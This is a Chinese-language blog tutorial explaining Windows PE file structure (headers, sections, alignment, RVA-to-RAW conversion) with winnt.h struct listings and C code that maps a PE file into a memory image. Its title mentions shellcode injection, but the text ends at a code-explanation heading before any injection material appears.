PE文件结构从初识到简单shellcode注入


0x00 前言

​ 将自己学习的PE文件结构进行总结形成文章这件事情,一直躺在我的Notion TodoList里,但是一直是未完成的状态哈哈,拖了那么久也该让它状态变成已完成了。

0x01 PE文件简介

​ PE文件的全称是Portable Executable,意为可移植的可执行的文件,常见的EXE、DLL、OCX、SYS、COM都是PE文件,PE文件是微软Windows操作系统上的程序文件(可能是间接被执行,如DLL)。

​ 上面是百度复制来的,我个人理解的PE文件结构其实就类似于CTF Misc题中的jpg、png、zip文件格式类似,当你了解了这些文件格式后,你可以通过修改二进制数据来改图片宽高等属性,同样的,当你了解Windows PE文件结构后,你也可以修改PE文件的一些属性,比如修改程序入口点甚至修改程序运行逻辑。

0x02 文件对齐/内存对齐

​ 一个PE文件的结构有两种表现方式,一种是“躺”在硬盘里的时候,也就是程序未执行的时候,一种是你调用或者双击运行程序,程序载入内存后,两种表现方式其实结构大体相同,只是内部某个部分之间的间隔稍有不同,如下图:

1-1.png

​ 如上图可见,当PE文件加载到内存中后,DOS头到最后一个节区头的部分是一致的,而之后节区与节区之间的间隔,内存中的间隔会更大。但是,这种情况是不一定的,也有硬盘中和内存中的间隔是一致,这取决于PE文件结构中的某一个属性的设置。

​ 那么为什么需要这样的操作呢?直接把文件按照原样加载到内存中不是更方便吗?这其实是由于操作系统内存对齐所产生的一个操作,具体内存对齐可以通过百度百科了解:https://baike.baidu.com/item/%E5%86%85%E5%AD%98%E5%AF%B9%E9%BD%90/9537460?fr=aladdin。内存对齐简单点说就是以一块内存一块内存来读取内存中的数据,而不是根据实际大小来读取,这样省去计算实际大小这个操作就提升了内存读取的速度。但是如果直接按照内存对齐的结构把PE文件存储到硬盘中,实际上有一大部分由于内存对齐而加进来的空间是无用的。在以前的计算机中,硬盘其实都不大,为了剩下这部分空间,所以就多了一个“裁剪”多余空间的操作,把对齐值调小一点,尽量减小无用的空间占用硬盘资源。而现在有些编译器的内存对齐和文件对齐是一样的了,那是因为如今的硬盘资源已经很充足,不需要废时间来省下这点空间了。

0x03 结构体

​ 结构体是由一批数据组合而成的结构型数据。组成结构型数据的每个数据称为结构型数据的“成员” ,其描述了一块内存区间的大小及解释意义。

​ 没错,上面这段我又是百度复制的。其实应该有一部分人在学习编程的时候,遇到结构体都不知道有啥大用,难道它只能用来做做编程练习吗?那肯定是不可能。就如百度百科解释所说的,结构体描述了一块内存区间的大小及解释意义,我们想象一下,当我们通过编程语言把PE文件读入内存中后,要怎么分别把DOS头、DOS存根等等每一块内容取出来呢?当然,通过类似于Python的切片来做是可以实现的,但是总感觉还是有点麻烦。这时候就需要用到结构体了,winnt.h头文件中定义了DOS头结构体指针类型PIMAGE_DOS_HEADER,当我们需要取DOS头数据的时候,就可以直接把内存中整块PE文件数据强制转换成PIMAGE_DOS_HEADER类型,这时候程序把PE文件数据作为PIMAGE_DOS_HEADER进行解析,你在C语言中就可以很轻松的通过pe_data->e_lfanew来很轻松的获取到DOS头中的某一个数据了。

​ 可能这样讲还是有点抽象,我们再分细一点来说。首先结构体其实类似于数组,也是一段连续的内存块,只不过他内存块中每一块的大小由结构体成员决定。一个int类型数组,我们假设一个单元格是一个字节,一个int类型元素占四个字节,在内存中分布如下图(实际int在内存中大部分操作系统是小端序存储,所以数据是反过来存的,参考:https://www.jianshu.com/p/f29873769488):

1-2.png

​ 我们定义一个结构体

struct person {
    int id;
    char name[6];
};
person p;
p.id = 1;
strcpy(p.name, "gcker");

​ person结构体它在内存中分布是这样的(int是小端序存储,char是大端序存储):

1-3.png

​ 当我们通过p.name来取数据的时候,实际就是从一块内存数据为01 00 00 00 67 63 6b 65 00中,从67开始取数据。再做个有趣的实验,代码如下:

char data[] = { 0x01, 0x00, 0x00, 0x00, 0x67, 0x63, 0x6b, 0x65, 0x72, 0x00 };
person *p_person = (person*)data;
printf("%s", p_person->name);
// 输出:gcker

​ 你们能理解我的意思吗😂?通过上述这个实验,我们转换一下,读取的PE文件数据是data,我们把data强制转换成PIMAGE_DOS_HEADER,那么是不是就可以解析出DOS头的数据了。PIMAGE_DOS_HEADER的定义如下:

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number,“MZ”标记,PE文件的开始,就是我们以十六进制方式打开PE文件时看到的开头那个MZ
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header,PE头相对于文件的偏移,用于定位PE头
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

​ 我们通过HxD打开一个PE文件,通过下图来展示把PE文件数据强制转换成PIMAGE_DOS_HEADER会有什么效果,看下图:

1-4.png

​ 看下实现代码:

FILE* pf = fopen("C:\\Users\\gcker\\Desktop\\putty.exe", "rb");
char data[1024] = { 0 };
fread(data, 1024, 1, pf);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)data;
printf("%x", pDosHeader->e_magic);

​ 我们通过上述的方式,就可以成功解析PE文件的DOS头了,这就是我挑出结构体来讲一讲的理由,它可以让我们在编程中很方便的去解析任意文件的格式(在已经有定义好的结构体条件下)。

0x04 ImageBase/VA/RVA/RAW

​ 在正式学习PE文件结构前,还需要了解几个名词。

ImageBase

​ 基地址,PE文件的优先装载地址。比如,如果该值是400000h,PE装载器将尝试把文件装到虚拟地址空间的400000h处。字眼"优先"表示若该地址区域已被其他模块占用,那PE装载器会选用其他空闲地址。简而言之,就是指定PE文件载入内存时,优先尝试载入的内存起始地址。

VA

​ VA (virtual Address) 虚拟地址的意思,其实就是PE文件启动并载入内存后,某一块数据在内存中的地址。

RVA

​ RVA(relative Virtual Address) 相对虚拟地址偏移,RVA = 虚拟地址(VA) - 基地址(ImageBase),是相对于基地址的偏移,即RVA是虚拟内存中用来定位某个特定位置的地址,该地址的值是这个特定位置距离模块基地址的偏移量。有点类似于数组下标,数组内存中起始地址就是基地址,下标就是偏移量。

RAW

​ 文件偏移地址(或物理地址),当PE文件存储在磁盘上时,各个数据的地址。一般我们用HxD工具打开一个PE文件后左边的Offset一栏就是。

0x05 PE文件结构

​ 按我的理解,学习PE文件结构其实就是理解它每一块组成部分中各个成员的作用。通过本文第二部分内容的图可知,PE文件结构从上到下共分为DOS头、DOS存根、NT头、N个节区头、N个节区(有几个节区头就对应几个节区)。这里面除了DOS存根外,所有的内容在winnt.h中都定义了对应的结构体指针类型。

DOS头

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number,"MZ标记" 用于判断是否为可执行文件。
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header,NT头相对于文件的偏移,用于定位PE文件。
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

DOS存根

​ 一个PE文件中,DOS头下,NT头上的内容就是DOS存根。它是一个可选项,且大小不固定,即使没有DOS存根文件也能正常运行。DOS存根由代码和数据混合而成。

1-5.png

​ 如上图,文件Offset 0x40~0x4D这篇区域为16位的汇编指令,在32位及以上操作系统运行程序时不会执行该指令。在DOS环境中或使用DOS调试器运行它时,会执行这段指令(因为如DOS等16位操作系统不认识PE文件,识别成DOS EXE文件,所以执行这一段)。

​ 在WindowsXP下,运行命令debug notepad.exe启动notepad.exe,在出现的光标位置输入“u”指令,会出现16位汇编指令。

1-6.png

​ 大概意思就是会在终端中输出字符串“This program cannot be run in DOS mode”后就退出程序,换言之这里DOS存根的作用就是当32位程序在16位DOS下运行时,就会提示“This program cannot be run in DOS mode”后就退出程序,作为对MS-DOS的兼容。

0x06 NT头

​ IMAGE_NT_HEADER结构体由3个成员组成,其中后面两个成员为结构体,属于结构体内嵌套结构体。

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;                        // 签名,值一直为50450000h(“PE”00)
    IMAGE_FILE_HEADER FileHeader;           // 文件头地址
    IMAGE_OPTIONAL_HEADER32 OptionalHeader; // 可选头地址
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

文件头

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;                        // 程序运行的CPU型号:0x0 任何处理器/0x14C 386及后续处理器
    WORD    NumberOfSections;               // 文件中存在的节的总数,如果要新增节或者合并节 就要修改这个值.
    DWORD   TimeDateStamp;                  // 时间戳:文件的创建时间(和操作系统的创建时间无关),编译器填写的.
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;           // 可选PE头的大小,32位PE文件默认E0h 64位PE文件默认为F0h  大小可以自定义.
    WORD    Characteristics;                // 每个位有不同的含义,可执行文件值为10F 即0 1 2 3 8位置1 
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

​ IMAGE_FILE_HEADER结构体有以下四个重要成员,若它们设置不正确,将导致文件无法正常运行。

Machine

​ 每个CPU都拥有唯一的Machine码,兼容32位Intel x86芯片的Machine码为14C,其余是定义在winnt.h文件中的Machine码。

#define IMAGE_FILE_MACHINE_UNKNOWN           0
#define IMAGE_FILE_MACHINE_I386              0x014c  // Intel 386.
#define IMAGE_FILE_MACHINE_R3000             0x0162  // MIPS little-endian, 0x160 big-endian
#define IMAGE_FILE_MACHINE_R4000             0x0166  // MIPS little-endian
#define IMAGE_FILE_MACHINE_R10000            0x0168  // MIPS little-endian
#define IMAGE_FILE_MACHINE_WCEMIPSV2         0x0169  // MIPS little-endian WCE v2
#define IMAGE_FILE_MACHINE_ALPHA             0x0184  // Alpha_AXP
#define IMAGE_FILE_MACHINE_SH3               0x01a2  // SH3 little-endian
#define IMAGE_FILE_MACHINE_SH3DSP            0x01a3
#define IMAGE_FILE_MACHINE_SH3E              0x01a4  // SH3E little-endian
#define IMAGE_FILE_MACHINE_SH4               0x01a6  // SH4 little-endian
#define IMAGE_FILE_MACHINE_SH5               0x01a8  // SH5
#define IMAGE_FILE_MACHINE_ARM               0x01c0  // ARM Little-Endian
#define IMAGE_FILE_MACHINE_THUMB             0x01c2
#define IMAGE_FILE_MACHINE_AM33              0x01d3
#define IMAGE_FILE_MACHINE_POWERPC           0x01F0  // IBM PowerPC Little-Endian
#define IMAGE_FILE_MACHINE_POWERPCFP         0x01f1
#define IMAGE_FILE_MACHINE_IA64              0x0200  // Intel 64
#define IMAGE_FILE_MACHINE_MIPS16            0x0266  // MIPS
#define IMAGE_FILE_MACHINE_ALPHA64           0x0284  // ALPHA64
#define IMAGE_FILE_MACHINE_MIPSFPU           0x0366  // MIPS
#define IMAGE_FILE_MACHINE_MIPSFPU16         0x0466  // MIPS
#define IMAGE_FILE_MACHINE_AXP64             IMAGE_FILE_MACHINE_ALPHA64
#define IMAGE_FILE_MACHINE_TRICORE           0x0520  // Infineon
#define IMAGE_FILE_MACHINE_CEF               0x0CEF
#define IMAGE_FILE_MACHINE_EBC               0x0EBC  // EFI Byte Code
#define IMAGE_FILE_MACHINE_AMD64             0x8664  // AMD64 (K8)
#define IMAGE_FILE_MACHINE_M32R              0x9041  // M32R little-endian
#define IMAGE_FILE_MACHINE_CEE               0xC0EE

NumberOfSections

​ NumberOfSections用来指出文件中存在的节区数量,该值一定要大于0,且当定义的节区数量与实际节区不同时,将发生运行错误。

SizeOfOptionalHeader

​ SizeOfOptionalHeader用于指定IMAGE_OPTIONAL_HEADER32(可选PE头)结构体的长度,IMAGE_OPTIONAL_HEADER32结构体由C语言编写,故其大小已经确定。但是Windows的PE装载器需要查看IMAGE_FILE_HEADER的SizeOfOptionalHeader值来确定IMAGE_OPTIONAL_HEADER32的大小。

​ PE32+(64位程序)使用IMAGE_OPTIONAL_HEADER64结构体,与IMAGE_OPTIONAL_HEADER32结构体长度不同,所以需要在SizeOfOptionalHeader中指明可选结构体大小。

Characteristics

​ 该字段用于标识文件的属性,文件是否是可运行状态、是否为DLL文件等信息。所有标识定义在winnt.h中。

#define IMAGE_FILE_RELOCS_STRIPPED           0x0001  // Relocation info stripped from file.
#define IMAGE_FILE_EXECUTABLE_IMAGE          0x0002  // File is executable  (i.e. no unresolved externel references).
#define IMAGE_FILE_LINE_NUMS_STRIPPED        0x0004  // Line nunbers stripped from file.
#define IMAGE_FILE_LOCAL_SYMS_STRIPPED       0x0008  // Local symbols stripped from file.
#define IMAGE_FILE_AGGRESIVE_WS_TRIM         0x0010  // Agressively trim working set
#define IMAGE_FILE_LARGE_ADDRESS_AWARE       0x0020  // App can handle >2gb addresses
#define IMAGE_FILE_BYTES_REVERSED_LO         0x0080  // Bytes of machine word are reversed.
#define IMAGE_FILE_32BIT_MACHINE             0x0100  // 32 bit word machine.
#define IMAGE_FILE_DEBUG_STRIPPED            0x0200  // Debugging info stripped from file in .DBG file
#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP   0x0400  // If Image is on removable media, copy and run from the swap file.
#define IMAGE_FILE_NET_RUN_FROM_SWAP         0x0800  // If Image is on Net, copy and run from the swap file.
#define IMAGE_FILE_SYSTEM                    0x1000  // System File.
#define IMAGE_FILE_DLL                       0x2000  // File is a DLL.
#define IMAGE_FILE_UP_SYSTEM_ONLY            0x4000  // File should only be run on a UP machine
#define IMAGE_FILE_BYTES_REVERSED_HI         0x8000  // Bytes of machine word are reversed.

可选PE头

typedef struct _IMAGE_OPTIONAL_HEADER {
    WORD    Magic;                      // 说明文件类型10B 32位下的PE文件     20B 64位下的PE文件
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;                 // 所有代码节的和必须是FileAlignment的整数倍 编译器填的
    DWORD   SizeOfInitializedData;      // 已初始化数据大小的和,必须是FileAlignment的整数倍 编译器填的
    DWORD   SizeOfUninitializedData;    // 未初始化数据大小的和,必须是FileAlignment的整数倍 编译器填的
    DWORD   AddressOfEntryPoint;        // 程序入口
    DWORD   BaseOfCode;                 // 代码开始的基址编译器填的
    DWORD   BaseOfData;                 // 数据开始的基址编译器填的
    DWORD   ImageBase;                  // 内存镜像基址
    DWORD   SectionAlignment;           // 内存对齐
    DWORD   FileAlignment;              // 文件对齐硬盘对齐
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;                // 内存中整个PE文件的映射的尺寸可以比实际的值大但必须是SectionAlignment的整数倍
    DWORD   SizeOfHeaders;              // 所有头+节表按照文件对齐后的大小否则加载会出错
    DWORD   CheckSum;                   // 校验和一些系统文件有要求.用来判断文件是否被修改.
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;         // 初始化时保留的堆栈大小
    DWORD   SizeOfStackCommit;          // 初始化时实际提交的大小 
    DWORD   SizeOfHeapReserve;          // 初始化时保留的堆大小 
    DWORD   SizeOfHeapCommit;           // 初始化时实践提交的大小 
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;        // 目录项数目
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

​ 在IMAGE_OPTIONAL_HEADER32结构体中需要关注下列成员,这些值设置错误会导致文件无法正常运行。

Magic

  • IMAGE_OPTIONAL_HEADER32时值为10B
  • IMAGE_OPTIONAL_HEADER64时值为20B

AddressOfEntryPoint

​ AddressOfEntryPoint持有EP(EntryPoint,程序入口点)的RVA值。该值指出程序最先执行的代码起始地址,相当重要。

ImageBase

​ 每个程序启动后都有一块独立的虚拟内存空间,进程虚拟内存的范围是0<sub>0xFFFFFFFF(32位系统),PE文件被加载到如此大的内存中时,ImageBase指出文件的优先装入地址。EXE、DLL文件被装在到用户内存的0</sub>0x7FFFFFFF中,SYS文件被载入内核内存的0x80000000~0xFFFFFFFF中。

​ 一般而言,开发工具(VB、VC++、Delphi)创建好EXE文件后,其ImageBase的值为0x00400000,DLL文件的ImageBase值为0x10000000(也可以设置为其他)。

​ 执行PE文件时,PE装载器先创建进程,再将文件载入内存,然后把EIP寄存器(EIP寄存器:用于告诉CPU需要执行的下一条指令的位置)的值设置为ImageBase+AddressOfEntryPoint。

SectionAlignment、FIleAlignment

FileAlignment:指定了节区块在磁盘文件中的最小单位

SectionAlignment:指定了节区在内存中的最小单位

​ FileAlignment和SectionAlignment的作用就是我们在本文“文件对齐/内存对齐”中讲到的,节区与节区之间的间隔,之所以会有间隔就是因为PE文件的节区在硬盘中和在内存中的大小不一致导致的。一个文件的FileAlignment和SectionAlignment的值可能相同或不同。PE文件在磁盘或内存中时,节区大小一定是FileAlignment或SectionAlignment值的整数倍。

SizeOfImage

​ 内存中整个PE文件的尺寸,可比实际的值大,但必须是SectionAlignment的整数倍。

SizeOfHeaders

​ SizeOfHeaders用来指出整个PE头的大小,该值也必须是FileAlignment的整数倍。第一节区所在的位置与SizeOfHeaders距文件开始偏移的量相同,所以可以证明SizeOfHeaders就是DOS头、DOS存根(如有)、NT头、所有节区头加起来的大小。

Subsystem

​ Subsystem值用来区分系统驱动文件(.sys)与普通的可执行文件(.exe、*.dll),可以有如下值如下:

#define IMAGE_SUBSYSTEM_UNKNOWN                  0   // Unknown subsystem.
#define IMAGE_SUBSYSTEM_NATIVE                   1   // Image doesn't require a subsystem.
#define IMAGE_SUBSYSTEM_WINDOWS_GUI              2   // Image runs in the Windows GUI subsystem.
#define IMAGE_SUBSYSTEM_WINDOWS_CUI              3   // Image runs in the Windows character subsystem.
#define IMAGE_SUBSYSTEM_OS2_CUI                  5   // image runs in the OS/2 character subsystem.
#define IMAGE_SUBSYSTEM_POSIX_CUI                7   // image runs in the Posix character subsystem.
#define IMAGE_SUBSYSTEM_NATIVE_WINDOWS           8   // image is a native Win9x driver.
#define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI           9   // Image runs in the Windows CE subsystem.
#define IMAGE_SUBSYSTEM_EFI_APPLICATION          10  //
#define IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER  11  //
#define IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER       12  //
#define IMAGE_SUBSYSTEM_EFI_ROM                  13
#define IMAGE_SUBSYSTEM_XBOX                     14
#define IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION 16
#define IMAGE_SUBSYSTEM_XBOX_CODE_CATALOG        17

DataDirectory

​ 数据目录表,是一个结构体数组。数组里的每个元素对应一个数据表。通常有16个。数据目录表存放着例如导入表、导出表等数据。

#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory
//      IMAGE_DIRECTORY_ENTRY_COPYRIGHT       7   // (X86 usage)
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA of GP
#define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT            12   // Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor

DataDirectory[0] = IMAGE_DIRECTORY_ENTRY_EXPORT             // Export Directory
DataDirectory[1] = IMAGE_DIRECTORY_ENTRY_IMPORT             // Import Directory
DataDirectory[2] = IMAGE_DIRECTORY_ENTRY_RESOURCE           // Resource Directory
DataDirectory[3] = IMAGE_DIRECTORY_ENTRY_EXCEPTION          // Exception Directory
DataDirectory[4] = IMAGE_DIRECTORY_ENTRY_SECURITY           // Security Directory
DataDirectory[5] = IMAGE_DIRECTORY_ENTRY_BASERELOC          // Base Relocation Table
DataDirectory[6] = IMAGE_DIRECTORY_ENTRY_DEBUG              // Debug Directory
//      IMAGE_DIRECTORY_ENTRY_COPYRIGHT          // (X86 usage)
DataDirectory[7] = IMAGE_DIRECTORY_ENTRY_ARCHITECTURE       // Architecture Specific Data
DataDirectory[8] = IMAGE_DIRECTORY_ENTRY_GLOBALPTR          // RVA of GP
DataDirectory[9] = IMAGE_DIRECTORY_ENTRY_TLS                // TLS Directory
DataDirectory[10] = IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG       // Load Configuration Directory
DataDirectory[11] = IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT      // Bound Import Directory in headers
DataDirectory[12] = IMAGE_DIRECTORY_ENTRY_IAT               // Import Address Table
DataDirectory[13] = IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT      // Delay Load Import Descriptors
DataDirectory[14] = IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR    // COM Runtime descriptor

NumberOfRvaAndSizes

​ 用来指定DataDirectory(IMAGE_OPTIONAL_HEADER32结构体最后一个成员)数组的个数。虽然结构体中明确定义了数组个数为IMAGE_NUMBEROF_DIRECTORY_ENTRIES(16个),但是PE装载器用过查看NumberOfRvaAndSizes值来识别数组大小,换言之,数组大小也可能不是16。

0x07 节区头

​ PE文件格式的设计者把具有相似属性的数据统一保存在一个被称为“节区”的地方,然后需要把各节区属性记录在节区头中(节区属性中有文件/内存的起始位置、大小、访问权限等),常见节区有code、text、data、resource等。

​ 把PE文件创建成多个节区结构的好处是,可以保证程序的安全性。若把code与data放在一个节区中相互纠缠很容易引发安全问题,即使忽略过程中的烦琐。假设向字符串data写入数据时,由于某个原因导致溢出,那么其下的code就会被覆盖,应用程序就会崩溃。

类别 访问权限
code节区 执行、读取权限
data节区 非执行、读写权限
resource节区 非执行、读取权限

​ 节区头是由多个IMAGE_SECTION_HEADER结构体组成的,每个结构体对应一个节区头,每个节区头描述一个节区。

#define IMAGE_SIZEOF_SHORT_NAME 8
typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];  // 8个字节的节区名称一般以\0结尾如无\0默认取八个字节
    union {                                 // 
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;            // 节区的真实尺寸是该节在没有对齐前的真实尺寸该值可以不准确
    } Misc;
    DWORD   VirtualAddress;                 // 节区的 RVA 地址在内存中的偏移地址
    DWORD   SizeOfRawData;                  // 在文件中对齐后的尺寸当代码中有char ch[1000];即未初始化的数组时会出现Misc->VirtualSize比这个值大的情况因为char ch[1000];未初始化在文件中是没有分配的等到载入内存才会开辟这个空间
    DWORD   PointerToRawData;               // 节在文件中的偏移量
    DWORD   PointerToRelocations;           // 在OBJ文件中使用重定位的偏移
    DWORD   PointerToLinenumbers;           // 行号表的偏移供调试使用地
    WORD    NumberOfRelocations;            // 在OBJ文件中使用重定位项数目
    WORD    NumberOfLinenumbers;            // 行号表中行号的数目
    DWORD   Characteristics;                // 节属性如可读可写可执行等
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

Characteristics

​ 节区头结构体最后一个成员Characteristics,有以下这些可选项:

//位数从低到高
#define IMAGE_SCN_SCALE_INDEX                0x00000001  //1Tls index is scaled
#define IMAGE_SCN_CNT_CODE                   0x00000020  //6Section contains code.
#define IMAGE_SCN_CNT_INITIALIZED_DATA       0x00000040  //7Section contains initialized data.
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA     0x00000080  //8Section contains uninitialized data.
#define IMAGE_SCN_LNK_INFO                   0x00000200  //10Section contains comments or some other type of information.
#define IMAGE_SCN_LNK_REMOVE                 0x00000800  //12Section contents will not become part of image.
#define IMAGE_SCN_LNK_COMDAT                 0x00001000  //13Section contents comdat.
#define IMAGE_SCN_NO_DEFER_SPEC_EXC          0x00004000  //15Reset speculative exceptions handling bits in the TLB entries for this section.
#define IMAGE_SCN_GPREL                      0x00008000  //16Section content can be accessed relative to GP
#define IMAGE_SCN_LNK_NRELOC_OVFL            0x01000000  //25Section contains extended relocations.
#define IMAGE_SCN_MEM_DISCARDABLE            0x02000000  //26Section can be discarded.
#define IMAGE_SCN_MEM_NOT_CACHED             0x04000000  //27Section is not cachable.
#define IMAGE_SCN_MEM_NOT_PAGED              0x08000000  //28Section is not pageable.
#define IMAGE_SCN_MEM_SHARED                 0x10000000  //29Section is shareable.
#define IMAGE_SCN_MEM_EXECUTE                0x20000000  //30Section is executable.
#define IMAGE_SCN_MEM_READ                   0x40000000  //31Section is readable.
#define IMAGE_SCN_MEM_WRITE                  0x80000000  //32Section is writeable.

Name

​ Name成员不像C语言中的字符串一样以NULL结束,并且没有显示只能是ASCII值。PE规范未明确规定节区的Name,所以可以Name可以是任意值,甚至是NULL值。所以节区Name仅供参考,不能保证其百分百地被用作某种信息。

0x08 RVA to RAW

​ 我们通过本文“文件对齐/内存对齐”部分可知,PE文件在硬盘上和内存中节区部分有个“变大”的过程,这个过程一般称为“拉伸”。每个节区都要能准确完成内存地址与文件偏移之间的映射,这种映射一般称为RVA to RAW。

​ 根据IMAGE_SECTION_HEADER结构体,换算公式如下:

RAW - PointerToRawData = RVA - VirtualAddress

​ 进而得到:

RAW = RVA - VirtualAddress + PointerToRawData

​ 注意,PE头中表示地址时不使用VA,而是RVA,比如节区头成员 VirtualAddress 是内存中节区头的起始地址(RVA)。

0x09 C语言解析PE文件

​ 看了一堆理论可能会有点懵,我们通过实际练习来加深一下理解,这里我们通过C语言模拟PE装载器,完成PE文件从硬盘到内存中的节区拉伸过程,然后再从内存还原到硬盘中,实现一个困难版的程序复制粘贴😂。

​ 在编码过程中,可以找一个PE文件结构解析的工具来帮助你们调试,测试自己解析出来的数据正不正确,比如PE-Hacker等,吾爱破解或者其他地方都很容易找到。

1-7.png

拉伸

​ 模拟PE文件从文件装载到内存中拉伸的过程。

char* fileBuffertoImageBuffer(char *fileBuffer) {
    // 解析PE文件
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
    PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);   // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;    // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    if (ppSectionHeader == NULL) {
        printf("内存分配失败!");
        return NULL;
    }
    ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)(pOptionalHeader + 1);
    if (pFileHeader->NumberOfSections > 1) {
        for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
            ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
        }
    }


    // 新建一块区域用于存放拉伸后的PE文件
    char* imageBuffer = (char*)malloc(pOptionalHeader->SizeOfImage);
    if (imageBuffer == NULL) {
        printf("内存分配失败!");
        return NULL;
    }
    memset(imageBuffer, 0, pOptionalHeader->SizeOfImage);


    // 拉伸
    // DOS头到最后一个节区头部分不需要拉伸,所以直接拷贝过来
    memcpy(imageBuffer, fileBuffer, pOptionalHeader->SizeOfHeaders);

    // 根据节区头中的PointerToRawData找到对应节区在fileBuffer中的位置,然后拷贝到imageBuffer的VirtualAddress处
    for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
        memcpy((imageBuffer + ppSectionHeader[i]->VirtualAddress), (fileBuffer + ppSectionHeader[i]->PointerToRawData), ppSectionHeader[i]->Misc.VirtualSize);
    }

    return imageBuffer;
}

代码详解

